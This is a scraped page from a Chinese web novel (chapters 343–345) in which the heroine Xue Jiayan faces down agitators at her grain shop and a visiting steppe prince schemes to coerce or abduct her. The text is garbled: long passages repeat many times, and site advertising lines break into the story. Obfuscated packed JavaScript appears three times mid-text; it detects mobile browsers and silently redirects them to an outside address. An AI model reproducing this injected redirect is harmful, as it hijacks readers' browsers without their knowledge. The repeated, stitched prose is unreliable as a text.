这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 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“周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337251|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 得快冻僵的百姓们的愤怒。 “周掌柜,咱们也是多少年的老主顾了,你们不能这么欺负咱们啊!” 周掌柜急得在大冷天里硬生生冒了一脑门的汗,一张老脸涨得通红,一边不停地拱手作揖,一边焦头烂额地解释。 “诸位,那不是有钱人来买粮,是户部跟咱们定的粮,是要运到边关去的!” 有个蓝衣男子昂着头大声道:“周掌柜好一张利嘴,竟找出这么个好借口,也就欺负咱们平头百姓不敢去找官爷确认,哄着咱们玩呢。” 身旁的小伙计瞅准空隙,快步凑到他耳边,低声一句“东家来了”,周掌柜长长松了一口气,连忙转身朝粮行内快步走去。 围在门口的人群顿时更乱了。 “周掌柜,你别走!” 领头的蓝衣男子往前一踏,指着粮行牌匾厉声喝道,“咱们都打听清楚了,你们粮行前儿到的一批新粮,数量不少,就算被有钱人买走一部分,剩下的也不少,可你们偏偏屯着不卖,一天只抠出指甲缝那么一点来卖,不就是想囤积居奇、等着抬高价吗?你们这般奸商,也配挂着朝廷赐下的牌匾?!” “这么冷的天,我们天不亮就来排队,排上大半天,就买这么一小袋,我们容易吗?” “这不是把咱们老百姓当猴耍吗!” “谁不知道你们背后东家姓薛,现在得了陛下的宠,连装都懒得装了,是吧!” 人群中也有些反对的声音,都说福运粮行厚道,应该不会做这种事。 但很快,他们的声音便被一些大声叫嚷的声音压下去,听不见了。 怒骂声、抱怨声、起哄声搅成一团。 周掌柜脚步一顿,只得连连拱手:“诸位稍安勿躁,稍安勿躁,老朽稍后便回来,一定给大家一个交代!” 说完,他再不耽搁,匆匆进了粮行。 福运粮行前几日确实到了一批新粮,可每日限量售卖,并非周掌柜私心,而是薛嘉言与他反复商议后的决定。 如今边关战事吃紧,天寒地冻,道路难行,万一再遇上大雪封山、官道阻断,后续粮食运不进来,整个京城都会陷入恐慌。 每日限量、按户定量,看似小气,实则是为了细水长流——只要百姓每天都还能买到一点粮,人心就不会乱。 薛嘉言站在柜台内侧,听得门外喧嚣,心中早已一片清明。 这根本不是百姓闹事,是有人故意在搞事情。 京城粮行那么多,眼下这个关头,哪家不是限量发售?哪家敢把粮仓敞开了随便卖? 只不过,绝大多数粮行是真的囤积居奇,暗地里把粮价抬了一遍又一遍。 唯独福运粮行,自始至终坚持平价,一分未涨。 所以,即便福运粮行门口排成长龙,且每人只能买半斗米,也一样有人愿意挨着寒风排队,等福运商行说今日米已经售完了,没买到的人才愿意去其他家购买,甚至有人家宁愿挨饿一日,也要等次日福运粮行开门。 那些粮行的东家、掌柜不是不眼红,可以来福运粮行的东家背后靠着皇帝,他们不敢得罪;二来薛嘉言卖的平价,也并没有赚多少钱,他们心里才平衡些。 “东家。” 周掌柜一进门,便快步上前,压低声音急报,“百姓们一开始只是抱怨量少,说两三天就要排一次队麻烦,可并没有闹起来。是前面那十几个人来了之后,不停挑唆、煽动,百姓们被带着走,这才闹成现在这样。” 薛嘉言眸色微冷,她早就料到了。 第343章 皇帝的女人有意思 周掌柜又道:“那些人闹着要见东家一定要东家给个说法我便赶紧去请了五城兵马司的人过来。负责棋盘街的张校尉与咱们相熟派几个人过来哄散了也就是了。” 周掌柜说到这里苦笑了一下:“谁知那么巧偏被宋襄宋大人遇到了宋大人便让张校尉处理好莫让百姓受委屈既然是想听东家一句准话便把东家叫过来应对这个时候千万不能含了百姓的心。老朽无奈只得派人去惊扰了东家。” 薛嘉言沉默一瞬想了想道:“既然是冲着我来的那我出去处理。” 话音落下薛嘉言迈步走出粮行。 门外众人一见她出来顿时一静。 有认得她的百姓立刻扬声喊道: “东家出来了!这就是福运粮行的东家东家快给句准话!” “东家你们是不是卖给有钱人一车一车粮卖给我们就按粒数那我们当把戏玩。” “东家你说能不能敞开卖?让我们一次买够过冬的粮也省得天天出来挨冻!” 人声再次涌动。 薛嘉言站在台阶之上迎着寒风与无数目光神色沉静不见半分慌乱。 她轻轻抬起一只手掌心向下轻轻一压。 喧闹的人群竟真的一点点安静了下来所有目光都聚焦在薛嘉言身上。 薛嘉言迎着寒风 她说着微微欠身行了一礼从没有半分架子瞬间拉近了与百姓的距离“大家的抱怨我都听见了;大家想一次买够过冬的粮不用天天来排队挨冻这份心思我也懂。” 这话一出百姓们脸上的不满稍稍缓和有人低声嘀咕:“东家这话倒是实在可懂有什么用还是不肯多卖。留着怕是拿来讨好谁吧。” 薛嘉言听见了目光看向领头的那几人。 “如今边关战事吃紧我身为大兖子民自愿捐献军粮三十车若大家认为这是在讨好谁那我认了!我讨好的便是为保家卫国浴血奋战的将士们!” “诸位咱们今日还能在粮行门口辩一辩是非是因为有人在边关挨饿受冻拿命替咱们拼搏!你们说这粮该不该捐?!” 百姓们沉默了他们能在这里挨冻而不是尸骨冰凉的确是因为有人先抗住了外族的铁蹄。 “哼!谁知道是真是假!” 人群中有人哼唧了一句。 薛嘉言一个 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 眼风扫过去,见一个男人往人群里瑟缩了一下,冷冷道:“真的假不了,假的也真不了,是真是假,我想大家分辨得出来,无需你再挑拨。” 人群安静下来,默然无语,谁能好意思跟边关的将士们抢粮呢。 “我再问大家一句,你们以为,我福运粮行故意限量卖粮,是想囤积居奇、哄抬粮价吗?”薛嘉言看着百姓们又问道。 蓝衣男子立刻上前一步,大声打断她:“薛东家,你们既然到了这么多粮,为何不敢敞开了卖?分明就是想等着粮价涨上天,赚黑心钱!” “赚黑心钱?”薛嘉言冷笑一声,目光如刀,直直刺向那蓝衣男子,“我且问你,倘若我放开卖粮,是你口袋里的银子多,还是高官显贵手里的银子多?抑或是其他粮行的掌柜的银子多?” 她转头,再次看向百姓,声音放缓,却字字诛心:“各位乡亲,你们仔细想想,眼下边关战事吃紧,天寒地冻,官道随时可能被大雪封死,后续粮食能不能运进来,谁也说不准。我今日敞开卖,不出一日,满仓的粮食都能被买完,明日、后日,我这里无粮可卖,你们就得去买高价粮!到底是谁要赚黑心钱?” 说着,她目光看向蓝衣男子以及他周边几个神色不善的男人,语气愈发犀利:“有人知道你们大冷天的排队买粮心有怨怼,便在这里煽风点火。你们以为他们是真心替你们抱不平?他们背后都有主子,家里囤着粮食准备高价卖。这才故意挑唆你们,让你们来闹我福运粮行,就是想逼我放开了卖,逼你们到最后不得不买高价粮!” 蓝衣男子恼羞成怒,吼道:“你这是血口喷人!我们能可不是谁家的奴,没有满仓的粮!” 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344344|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉言轻蔑一笑:“我说是你挑唆的了吗?你现在跳出来,是承认我说的是你?” 蓝衣男子脸憋得通红,身边人拉了拉他的衣袖,小声道:“别说话了。” 人群里,百姓们脸上的疑惑,渐渐变成了愤怒,目光齐刷刷地转向那蓝衣男子及其跟班。 有个常年买粮的老汉,气得浑身发抖,指着那男子高声骂道:“就是你们来捣乱的,本来都快要轮到我买粮了,你们撺掇着要掌柜的放开卖,闹了这一两个时辰,大家一直在吹冷风。” “可不是嘛!”另一个妇人也红了眼,“本来我排队一个时辰就能买到的,都是你们害得我又多等了这么久!” “我们相信薛东家!薛东家一直平价卖粮,从来没涨过价!” “你们这些黑心人,别在这里祸害百姓!” 指责声、怒骂声瞬间对准了那蓝衣男子及其跟班,百姓们情绪激动,纷纷往前涌,若不是薛嘉言及时抬手示意,恐怕已经有人冲上去动手了。 蓝衣男子一时之间手足无措,想辩解,却被百姓的怒骂声淹没,连一句完整的话都说不出来。 慌乱之下,他想转身逃走,却被愤怒的百姓围住,推推搡搡,棉袍都被扯皱了。 几人在百姓的怒骂声中,狼狈地挤出人群,灰溜溜地逃走。 薛嘉言对着百姓们拱手,大声道:“各位乡亲,多谢大家的信任。今日起,我会适当增加每日的售粮量,依旧保持平价,每户限购的数量也会稍稍放宽,尽量让大家不用天天排队。请大家放心,朝廷会很快解决边关危机,大家不必过于惊慌,我们福运粮行定会陪着大家,共渡难关。” 百姓们纷纷拱手道谢,喧闹的场面彻底平息下来,大家有序地排起了长队,等着买粮。 而这一切,都被不远处的忽兰儿一行人看在眼里。忽兰儿双手抱胸,眼底满是惊艳与玩味,看着薛嘉言从容破局、掌控全场的模样,嘴角勾起一抹笑。 “皇帝的女人,果然有些意思……” 忽兰儿挑眉冲两个随从笑了笑。 第344章 会会她 福运粮行前的青石板上,重新排起了一条望不见尾的长龙。 百姓们扶老携幼,提着布袋,安安静静地依次上前籴米。 忽兰儿立在街角檐下,抱着臂看了片刻热闹,见薛嘉言转身消失在粮行门内,他的兴致渐渐淡了,只觉市井喧嚣无趣,恹恹地收了目光。 “逛得乏了,回四夷馆歇息。 他转身便走,回到四夷馆,左右无人,忽兰儿才压低声音对身侧的赤那吩咐,语气冷而利:“让咱们的人,去仔细打听那位薛氏的过往,入夜之前,尽数禀告于我。 戚家这几年接连出事,早已闹得四邻皆知,街谈巷议,根本藏不住半分,要打听实在不难。 更何况薛嘉言与当今皇帝的私情才刚暴露不久,满城风雨未歇,正是最新鲜的谈资,上至深宅内院,下至贩夫走卒,都能嚼出几分细节来。 探子回报得极快。 当忽兰儿听闻薛嘉言那位入赘的夫君,竟是个中看不中用的废物,为了伺候公主不得不服药支撑,到最后连药都催不起时,他忍不住仰天长笑,笑声放肆又张扬。 “原来是个废物!怪不得那薛氏要同皇帝搅到一处去。他笑罢,轻蔑地撇了撇嘴,语气里满是草原男儿的倨傲,“大兖这位皇帝,想来也不过是个手无缚鸡之力的白面书生,哪里比得上咱们草原男儿雄健! 身旁的阿勒坦闻言,立刻凑上前来,对着忽兰儿挤眉弄眼,语气促狭:“台吉,您莫不是看中那寡妇了?以您的手段,天底下哪个女子拿不下? 赤那却脸色一紧,连忙上前半步,压低声音忧心忡忡劝阻:“台吉,万万不可轻举妄动。中原女子与咱们草原不同,最重贞节,讲究从一而终。万一那薛氏性子刚烈,被您逼得寻了短见,咱们此番前来的和谈大事,可就全毁了! 阿勒坦嗤笑一声,满脸不以为意:“毁什么?她都已经跟大兖皇帝苟且到一处了,早就没什么从一而终可言!咱们台吉,在草原上便等同于他们的皇帝,她一个妇人,能先后伺候两位‘帝王’,该是她的福气,还有什么不满足的? 这番话正戳中忽兰儿的心思,本就按捺不住的心思瞬间被撩拨得火热,一股燥热自心底窜起,蔓延四肢百骸,眼神也变得灼热起来。他看向赤那问道:“你可知她住在何处? 赤那心头一紧,连忙应声:“知晓,在元宝胡同。可台吉,您想想——那薛氏如今是皇帝的人,这般美貌娇娘,陛下怎会放心让她独居在外?必定派了重兵把守。咱们明日还要入宫面圣商谈和 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 谈,此刻千万不能去惹祸上身啊!” 忽兰儿皱着眉思忖片刻,觉得赤那所言的确在理,强行压下心头那股躁动,只觉满心兴头被泼了冷水,意兴阑珊地挥了挥手:“罢了罢了,先顾着和谈。等大事了结,我再想法子,会一会那位小寡妇。” 话音刚落,门外便传来一阵急促的脚步声。 吴舒进来,对着忽兰儿躬身行礼,语气恭敬又带着几分为难:“台吉殿下,陛下今日龙体欠安,唯恐染病风传给台吉,有碍和谈,故此特命下官前来通传——入宫见面之事,暂且延后几日。” 吴舒本以为忽兰儿会勃然大怒,毕竟草原人性子暴烈,被这般搪塞,少不得要发作。 可出乎意料的是,忽兰儿非但没有动怒,脸上那点未尽的烦躁反而一扫而空,竟隐隐透出几分如释重负。 吴舒正暗自诧异,摸不透这位台吉心思,忽兰儿已然不耐烦地摆手,直接下了逐客令。 “知道了,就这样。”他语气淡淡,不带半分波澜,“等你们陛下身子好了,你再来通知我便是。” 吴舒躬身告退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赤那闻言,低头思忖了片刻,细细琢磨着忽兰儿的话,越想越觉得在理,心头的巨石终于落了地,紧绷的肩膀微微放松下来,对着忽兰儿躬身道:“台吉思虑周全,是属下多虑了。” 忽兰儿摆了摆手,脸上的慵懒又漫了上来,方才被压下的躁动再次翻涌,眼神里闪过一丝玩味:“既然皇帝病了,见面也延后了,左右无事,不如……今夜就去会会那位薛氏小寡妇?” 第345章 登徒浪子 赤那心头一紧,连忙上前劝阻:“台吉,万万不可!中原女子最是讲究你情我愿,更何况那薛氏还是皇帝的女人,身份特殊,您若是硬来,万一闹大了,不仅会得罪皇帝,还可能坏了咱们的和谈大计。不如……写一封信送去,先探探她的态度?” 忽兰儿摩挲着下巴,沉吟片刻,觉得赤那的话也有几分道理,若是真闹得不可收拾,反倒得不偿失,便点了点头:“也行,就按你说的办。只是……信上写些什么才好?” 一旁的阿勒坦早就按捺不住,见状立刻凑上前来,脸上挂着狡黠的笑,凑到忽兰儿耳边,压低声音出谋划策:“台吉,这还不简单?那薛氏是皇帝的女人,定然清楚皇帝最近的烦心事,如今皇帝又病倒了,她心里定然也慌。您不如在信里说清自己的身份,再许她一个承诺——只要她肯来见您,您便可以在和谈之事上通融通融,不会把皇帝逼得太紧。” 他顿了顿,眼底闪过一丝促狭,继续说道:“她若是来了,说明心里还念着皇帝,想为皇帝求一条退路,到时候您便可以用皇帝来要挟她,还不是想怎么样就怎么样?她若是不来,那就说明她心里根本没把皇帝放在眼里,到时候咱们直接派人把她掳来,您想睡就睡,谁也管不着!” 这番话听得忽兰儿心花怒放,忍不住拍着坐榻哈哈大笑起来,笑声爽朗又张扬,震得厅内的烛火微微晃动:“好主意!阿勒坦,你这脑子倒是灵光!快,赶紧去写信,越急越好!” 阿勒坦连忙应下,快步走到一旁的案几前。 他早年曾跟着中原的先生学过汉文,虽说字迹歪歪扭扭,算不上好看,但也能认得清楚。不多时,一封简短却字字戳中要害的信便写好了,吹干墨迹后,双手捧着送到忽兰儿面前。 忽兰儿大致扫了一眼,见字句合心意,便摆了摆手,命人立刻送去元宝胡同。 夜色渐深,四夷馆内一片静谧,唯有厅内的炭火依旧在燃烧。 不多时,赵谦益便派人送来了两个女子,皆是浓妆艳抹,容貌艳丽,眉眼间带着刻意的讨好,一进门便屈膝行礼,姿态娇媚。 忽兰儿抬眸看了一眼,两张妆容精致却毫无特色的脸,丝毫提不起他的兴致。 先前那股灼热的欲火,此刻竟消散得无影无踪,即便那两个女子已然主动褪去衣衫,露出纤细的身段,他也只是淡淡瞥了一眼,便不耐烦地摆了摆手,语气冷淡:“都下去吧,本台吉今夜没兴致。” 两个女子怔了一瞬,好似松了一口气,不敢多言,连忙捡起衣衫,慌慌张张地退了 出去。 厅内再次恢复了寂静,忽兰儿独自坐在坐榻上,指尖依旧摩挲着那枚狼牙吊坠,脑海里全是薛嘉言的模样——冷静淡漠,眉眼间带着几分疏离,仿佛世间万物都入不了她的眼。 他嘴角勾起一抹玩味的笑,心底暗道:这般冷静的女人,若是落在我身下,还会一如既往地平静吗? 定然不会。她应该会为我癫狂,为我呻吟,就像草原上所有臣服于我的女人一样。 毕竟,她这辈子只尝过那个瘫废的弱鸡赘婿,还有那个手无缚鸡之力的白面皇帝,哪里见过我这般雄健的草原男儿? 想到这里,忽兰儿眼中闪过一丝自负的光芒,轻轻笑了起来,满是志在必得的自信,仿佛薛嘉言早已是他囊中之物。 第二日一早,天刚蒙蒙亮,京城渐渐苏醒过来。 沿街的铺子陆续敞开大门,不少人家的妇人、仆役提着竹篮,裹紧了棉衣,匆匆出门采买食材。 